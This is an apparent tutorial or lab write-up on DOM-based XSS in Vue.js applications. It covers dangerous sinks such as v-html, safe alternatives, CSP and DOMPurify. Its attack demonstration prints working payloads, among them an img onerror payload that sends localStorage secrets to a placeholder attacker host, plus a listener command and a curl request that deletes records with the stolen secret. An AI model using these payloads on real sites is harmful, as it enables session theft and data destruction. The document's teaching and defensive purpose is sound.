Understanding DOM-Based XSS Attack
DOM-Based Cross-Site Scripting (XSS) is a client-side attack that exploits vulnerabilities in how web applications manipulate the Document Object Model (DOM). Unlike traditional XSS attacks that involve server-side vulnerabilities, DOM-Based XSS occurs entirely within the victim's browser, making it particularly dangerous for Single Page Applications (SPAs) built with frameworks like Vue.js, React, or Angular.
Key Points
- Client-side only: The attack executes without server interaction, exploiting flaws in JavaScript code
- Common in SPAs: Frameworks that dynamically render content are especially vulnerable
- Dangerous sinks: Unsafe methods like
innerHTML,v-html, andevalcreate attack vectors - Data exfiltration: Attackers can steal sensitive information like session tokens and localStorage data
How DOM-Based XSS Works
The Attack Flow
DOM-Based XSS follows a three-step process:
- Source: User-controlled input enters the application (URL parameters, form fields, hash fragments)
- Sink: The application processes this input using unsafe methods without proper sanitization
- Execution: Malicious JavaScript runs in the victim's browser, enabling data theft, session hijacking, or unauthorized actions
Critical Difference: DOM-Based XSS manipulates the DOM directly through client-side JavaScript, bypassing server-side security controls entirely.
Visual Example
User Input → Vulnerable Sink → Malicious Execution
(URL param) (v-html/innerHTML) (Steal credentials)
Vulnerable Patterns in Vue.js
Common Dangerous Sinks
| Directive/Method | Risk Level | Safe Alternative | Notes |
|---|---|---|---|
v-html | High | {{ }} (mustache syntax) | Auto-escapes HTML |
innerHTML | High | textContent | Prevents HTML rendering |
document.write | High | Modern DOM methods | Avoid entirely |
eval() | Critical | JSON.parse() | Never use with user input |
Code Comparison
Vulnerable Code:
<!-- UNSAFE: Renders raw HTML from user input -->
<div v-html="userInput"></div>
Secure Code:
<!-- SAFE: Automatically escapes HTML entities -->
<div>{{ userInput }}</div>
Practical Attack Demonstration
Step 1: Environment Setup
Configure local DNS resolution for testing:
sudo echo "[TARGET_IP] custom.local" >> /etc/hosts
Access the vulnerable application:
http://custom.local:5173/
Step 2: Reconnaissance
Using Browser DevTools:
- Open Developer Tools (F12)
- Navigate to Debugger/Sources tab
- Inspect Vue components (e.g.,
Bdays.vue) - Identify data flows and potential sinks like
v-html
What to Look For:
- Dynamic content rendering
- User input handling
- Client-side storage access
- API request patterns
Step 3: Crafting Exploits
Basic Proof of Concept
Blocked by Modern Browsers:
<script>alert('XSS')</script>
Working Payload (Event Handler):
<img src="x" onerror="alert('XSS Successful')">
Data Exfiltration Attack
Steal secrets from localStorage:
<img src="x" onerror="fetch('http://[ATTACKER_IP]:8888?secret=' + encodeURIComponent(localStorage.getItem('secret')))">
Setup Listener:
python3 -m http.server 8888
Step 4: Executing the Full Attack Chain
1. Extract Entry IDs:
- Use browser DevTools Network tab
- Intercept
GET /bdaysrequests - Record entry IDs from response
2. Delete Records with Stolen Credentials:
curl -X DELETE "http://custom.local:5001/bdays/[ID]?secret=[STOLEN_SECRET]"
Complete Attack Workflow
| Phase | Action | Tools/Techniques |
|---|---|---|
| Reconnaissance | Analyze DOM and identify vulnerable sinks | DevTools, Source code review |
| Exploit Crafting | Create payload for vulnerable sink | Event handlers, DOM manipulation |
| Injection | Insert payload via user input field | Form submission, URL parameters |
| Data Theft | Exfiltrate sensitive information | fetch(), XMLHttpRequest |
| Privilege Escalation | Use stolen credentials for unauthorized actions | API requests with stolen tokens |
Prevention and Mitigation
Secure Coding Practices
Input Handling:
- Never use
v-htmlwith user-controlled data - Sanitize all inputs before rendering, even from trusted sources
- Validate data types and formats on both client and server
Output Encoding:
- Use framework-provided escaping (Vue's
{{ }}syntax) - Implement context-aware encoding for different output contexts
- Avoid direct DOM manipulation with user data
Content Security Policy (CSP)
Implement strict CSP headers to limit attack surface:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Benefits:
- Blocks inline scripts
- Restricts external resource loading
- Prevents
eval()and similar dangerous functions
Vue.js Specific Protections
Sanitization Library Integration:
import DOMPurify from 'dompurify';
// Only if v-html is absolutely necessary
computed: {
sanitizedContent() {
return DOMPurify.sanitize(this.userInput);
}
}
Framework Configuration:
// Reduce attack surface in production
Vue.config.productionTip = false;
Vue.config.devtools = false;
Defense in Depth Strategy
- Client-side: Input validation and output encoding
- Server-side: Validate all data, never trust client input
- Network: Implement CSP and HTTPS
- Monitoring: Log suspicious activities and anomalies
Security Checklist
- Replace all
v-htmlusage with{{ }}or sanitized alternatives - Implement Content Security Policy headers
- Use DOMPurify for unavoidable HTML rendering
- Validate and sanitize all user inputs
- Store sensitive data server-side, not in localStorage
- Implement proper authentication for all API endpoints
- Regular security audits and penetration testing
- Keep frameworks and dependencies updated
Key Takeaways
Never trust client-side rendering for sensitive operations. The browser environment is fully controlled by the user and should be treated as hostile territory.
Remember:
- DOM-Based XSS bypasses server-side protections
- Modern frameworks provide safe defaults—use them
- Defense requires multiple layers of protection
- Regular security testing is essential